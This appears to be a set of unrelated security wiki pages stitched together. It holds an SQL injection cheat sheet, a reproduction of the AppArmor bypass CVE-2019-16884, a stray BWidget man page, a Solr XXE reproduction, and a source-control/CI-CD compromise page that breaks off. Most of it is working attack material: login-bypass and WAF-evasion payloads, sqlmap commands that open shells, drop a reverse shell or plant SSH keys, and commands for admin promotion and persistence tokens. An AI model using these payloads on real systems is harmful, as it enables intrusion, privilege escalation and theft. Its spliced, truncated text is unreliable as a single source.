,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` ## SQL injection using SQLmap ### Basic arguments for SQLmap ```powershell sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs ``` ### Load a request file and use mobile user-agent ```powershell sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1 ``` ### Custom injection in UserAgent/Header/Referer/Cookie ```powershell python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" The injection is located at the '*' ``` ### Second order injection ```powershell python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs ``` ### Shell ```powershell SQL Shell python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn SSH Shell by dropping an SSH key python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ``` ### Crawl a website with SQLmap and auto-exploit ```powershell sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Using TOR with SQLmap ```powershell sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5 ``` ### Using a proxy with SQLmap ```powershell sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" ``` ### Using Chrome cookie and a Proxy ```powershell sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3 ``` ### Using suffix to tamper the injection ```powershell python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### General tamper option and tamper's list ```powershell tamper=name_of_the_tamper ``` | Tamper | Description | | --- | --- | |0x2char.py | Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart | |apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | |apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| |appendnullbyte.py | Appends encoded NULL byte character at the end of payload | |base64encode.py | Base64 all characters in a given payload | |between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | |bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | |chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | |charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) | |charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) | |charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) | |commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| |commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| |commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() | |concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| |charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | |charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | |equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE' | |escapequotes.py | Slash escape quotes (' and ") | |greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | |halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | |htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> &#39;) | |ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart| |ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| |informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier | |least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart | |lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) | |modsecurityversioned.py | Embraces complete query with versioned comment | |modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | |multiplespaces.py | Adds multiple spaces around SQL keywords | |nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| |overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | |overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | |percentage.py | Adds a percentage sign ('%') infront of each character | |plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart | |plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart | |randomcase.py | Replaces each keyword character with random case value | |randomcomments.py | Add random comments to SQL keywords| |securesphere.py | Appends special crafted string | |sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | |space2comment.py | Replaces space character (' ') with comments | |space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | |space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | |space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | |space2plus.py | Replaces space character (' ') with plus ('+') | |space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) | |unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | |unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | |uppercase.py | Replaces each keyword character with upper case value 'INSERT'| |varnish.py | Append a HTTP header 'X-originating-IP' | |versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | |versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | |xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'| ### SQLmap without SQL injection You can use SQLmap to access a database via its port instead of a URL. ```ps1 sqlmap.py -d "mysql://user:pass@ip/database" --dump-all ``` ## Authentication bypass ```sql '-' ' ' '&' '^' '*' ' or 1=1 limit 1 -- -+ '="or' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' '-||0' "-||0" "-" " " "&" "^" "*" '--' "--" '--' / "--" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 2 like 2 or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' -- - admin' # admin'/* admin' or '2' LIKE '1 admin' or 2 LIKE 2-- admin' or 2 LIKE 2# admin') or 2 LIKE 2# admin') or 2 LIKE 2-- admin') or ('2' LIKE '2 admin') or ('2' LIKE '2'# admin') or ('2' LIKE '2'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin';-- azer admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` ## Authentication Bypass (Raw MD5 SHA1) When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. ```php "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING` ```php md5("ffifdyop", true) = 'or'6�]��!r,��b sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) ## Polyglot injection (multicontext) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ /* MySQL only */ IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ ``` ## Routed injection ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` ## Insert Statement - ON DUPLICATE KEY UPDATE ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ```sql Inject using payload: attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- The query would look like this: INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input"); This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty". After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` ## WAF Bypass ### White spaces alternatives No Space (%20) - bypass using whitespace alternatives ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` No Whitespace - bypass using comments ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` No Whitespace - bypass using parenthesis ```sql ?id=(1)and(1)=(1)-- ``` Whitespace alternatives by DBMS | DBMS | ASCII characters in hexadicimal | | ---- | ------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 | Example of query where spaces were replaced by ascii characters above 0x80 ``` ♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼ ``` ### No Comma Bypass using OFFSET, FROM and JOIN ```sql LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` ### No Equal Bypass using LIKE/NOT IN/IN/BETWEEN ```sql ?id=1 and substring(version(),1,1)like(5) ?id=1 and substring(version(),1,1)not in(4,3) ?id=1 and substring(version(),1,1)in(4,3) ?id=1 and substring(version(),1,1) between 3 and 4 ``` ### Case modification Bypass using uppercase/lowercase (see keyword AND) ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Bypass using keywords case insensitive / Bypass using an equivalent operator ```sql AND -> && OR -> || = -> LIKE,REGEXP, BETWEEN, not < and not > > X -> not between 0 and X WHERE -> HAVING ``` ### Obfuscation by DBMS MySQL ``` 1.UNION SELECT 2 3.2UNION SELECT 2 1e0UNION SELECT 2 SELECT\N/0.e3UNION SELECT 2 1e1AND-0.0UNION SELECT 2 1/*!12345UNION/*!31337SELECT/*!table_name*/ {ts 1}UNION SELECT.`` 1.e.table_name SELECT $.`` 1.e.table_name SELECT{_ .``1.e.table_name} SELECT LightOS . ``1.e.table_name LightOS SELECT information_schema 1337.e.tables 13.37e.table_name SELECT 1 from information_schema 9.e.table_name ``` MSSQL ``` .1UNION SELECT 2 1.UNION SELECT.2alias 1e0UNION SELECT 2 1e1AND-1=0.0UNION SELECT 2 SELECT 0xUNION SELECT 2 SELECT\UNION SELECT 2 \1UNION SELECT 2 SELECT 1FROM[table]WHERE\1=\1AND\1=\1 SELECT"table_name"FROM[information_schema].[tables] ``` Oracle ``` 1FUNION SELECT 2 1DUNION SELECT 2 SELECT 0x7461626c655f6e616d65 FROM all_tab_tables SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables SELECT%00table_name%00FROM%00all_tab_tables ``` ### More MySQL specific `information_schema.tables` alternative ```sql select * from mysql.innodb_table_stats; +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | | dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | ... +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ mysql> show tables in dvwa; +----------------+ | Tables_in_dvwa | +----------------+ | guestbook | | users | +----------------+ ``` Version Alternative ```sql mysql> select @@innodb_version; +------------------+ | @@innodb_version | +------------------+ | 5.6.31 | +------------------+ mysql> select @@version; +-------------------------+ | @@version | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ mysql> mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ ``` #### WAF bypass for MySQL using scientific notation Blocked ```sql ' or ''=' ``` Working ```sql ' or 1.e('')=' ``` Obfuscated query ```sql 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2 ``` ## Labs * [SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data) * [SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass) * [SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding) * [SQL Labs](https://portswigger.net/web-security/all-labs#sql-injection) ## References * Detect SQLi * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/) * MySQL: * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) * [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection) * MSSQL: * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php) * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * ORACLE: * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) * POSTGRESQL: * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) * Others * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/) * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * Second Order: * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/) * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/) * Sqlmap: * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560) * WAF: * [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
sec-knowleage
--- title: CVE-2019-16884 --- <center><h1>CVE-2019-16884</h1><b>本文作者:一生热爱</b><br><br></center> --- ## 一、简介 apparmor 可以让管理员通过程序的配置文件限制程序的功能,其本身作为一个内核模块集成在 Linux 内核中(可能发现 lsmod 里面并没有 apparmor,这是因为 lsmod 展示的是所有动态加载的内核模块,通过 `ls /sys/module/` 就可以看到所有的内核模块包括系统中内置的),因此其通过内核提供强访问控制。 CVE-2019-16884 可以使得用户绕过 apparmor 的一些策略进而可以实现一些提权操作。 ```bash cat /sys/module/apparmor/parameters/enabled # 查看是否开启apparmor,返回为Y表示开启 sudo cat /sys/kernel/security/apparmor/profiles # 查看加载的配置文件 ``` ## 二、构建实验环境 ```bash > docker run -it ssst0n3/docker_archive:CVE-2019-16884 ubuntu login: root Password: root ``` ## 三、漏洞复现 1、创建 apparmor 规则 ```bash > cat > /etc/apparmor.d/no_flag <<EOF #include <tunables/global> profile no_flag flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> file, deny /flag r, } EOF ``` 2、创建一个 flag 文件 ```bash echo "Al1ex is comming" > /tmp/flag ``` 3、应用规则 ```bash /sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag ``` 4、检测,启动一个正常镜像此时无权限读取/flag内容3 ```bash docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag ``` 5、利用漏洞启用一个恶意镜像,可以读取/flag ```bash > mkdir -p rootfs/proc/self/{attr,fd} > touch rootfs/proc/self/{status,attr/exec} > touch rootfs/proc/self/fd/{4,5} > cat <<EOF > Dockerfile FROM busybox ADD rootfs / VOLUME /proc EOF > docker build -t apparmor-bypass . > docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag ``` <img width="1200" src="/img/Snipaste_2022-07-07_21-13-36.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年7月7日" } } </script>
sec-knowleage
.TH PagesManager 3tk "tcllib - BWidget" .SH NAME .B PagesManager - 页面管理器组件 .SH 创建 CREATION .B PagesManager pathName ?option value...? .SH 描述 DESCRIPTION PagesManager 组件管理一组页面并显示其中之一。PagesManager 不象 NoteBook 那样提供任何用户访问方法,这可以通过列表框、菜单、单选按钮、或其他什么东西来完成。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -height 为页面指定想要的高度。如果这个选项等于零(缺省的),则这个窗口根本不要求任何大小。在这种情况下,用户可以调用 PagesManager::compute_size 来使 PagesManager 足够大得包含最大的页面。 .TP -width 为页面指定想要的宽度。如果这个选项等于零(缺省的),则这个窗口根本不要求任何大小。在这种情况下,用户可以调用 PagesManager::compute_size 来使 PagesManager 足够大得包含最大的页面。 .SH 组件命令 .TP pathName add page 增加用 page 标识的一个新页面。返回这个新页面的路径名。 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName compute_size 调用这个命令使 PagesManager 足够大得包含最大的页面。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName delete page 删除页面 page。 .TP pathName getframe page 返回页面 page 的路径名。 .TP pathName page first ?last? 反对使用它,建议替代为 pages。 如果省略了 last,则返回在索引 first 上的页面,如果 first 引用一个不存在的页面则返回空串。如果指定了 last,则这个命令返回一个列表,它的元素是在 first 和 last 之间(包含二者)的所有页面。first 和 last 二者可以是索引的任何标准形式。 .TP pathName pages ?first? ?last? 如果省略了 first 和 last,则返回所有页面的一个列表。如果指定了 first 而省略了 last,则返回在索引 first 上的页面,如果 first 引用一个不存在的元素则返回空串。如果指定了 first 和 last,则这个命令返回一个列表,它的元素是在 first 和 last 之间(包含二者)的所有页面。first 和 last 二者可以是索引的任何标准形式。 .TP pathName raise ?page? 提升(raise)页面 page,如果省略了 page 则返回突出的(raised)页面。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/05/15 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Apache solr XML 实体注入漏洞(CVE-2017-12629) 漏洞原理与分析可以参考: - https://www.exploit-db.com/exploits/43009/ - https://paper.seebug.org/425/ Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。 本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。 ## 环境搭建 运行漏洞环境: ``` docker compose up -d ``` 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。 ## 漏洞复现 由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload): ``` GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1 Host: your-ip:8983 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close ``` 可接受到Java发来的请求: ![](1.png) 利用Error Based XXE读取文件: ![](2.png)
sec-knowleage
# Source Code Management & CI/CD Compromise > ## Summary * [Tools](#tools) * [Enumerate repositories files and secrets](#enumerate-repositories-files-and-secrets) * [Personal Access Token](#personal-access-token) * [Gitlab CI/Github Actions](#gitlab-cigithub-actions) * [References](#references) ## Tools * [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines * [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit ## Enumerate repositories files and secrets Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit) * Discover repositories being used in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local ``` * Search for repositories by repository name in a particular SCM system ```ps1 SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term" SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term" ``` * Search for code containing a given keyword in a particular SCM system ```ps1 SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term" SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term" ``` * Search for files in repositories containing a given keyword in the file name in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term" SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term" ``` * List snippets owned by the current user in GitLab ```ps1 SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local ``` * List all GitLab runners available to the current user in GitLab ```ps1 SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local ``` * Get the assigned privileges to an access token being used in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local ``` * Promote a normal user to an administrative role in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName ``` * Create/List/Delete an access token to be used in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser ``` * Create/List an SSH key to be used in a particular SCM system ```ps1 SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key" SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key" SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID ``` ## Personal Access Token Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance. ```ps1 curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens" ``` ## Gitlab CI/Github Actions * Gitlab-CI "Command Execution" example: `.gitlab-ci.yml` ```yaml stages: - test test: stage: test script: - | whoami parallel: matrix: - RUNNER: VM1 - RUNNER: VM2 - RUNNER: VM3 tags: - ${RUNNER} ``` * Github Action "Command Execution" example: `.github/workflows/example.yml` ```yml name: example on: workflow_dispatch: push: branches: [ main ] pull_request: branches: [ main ] jobs: build: 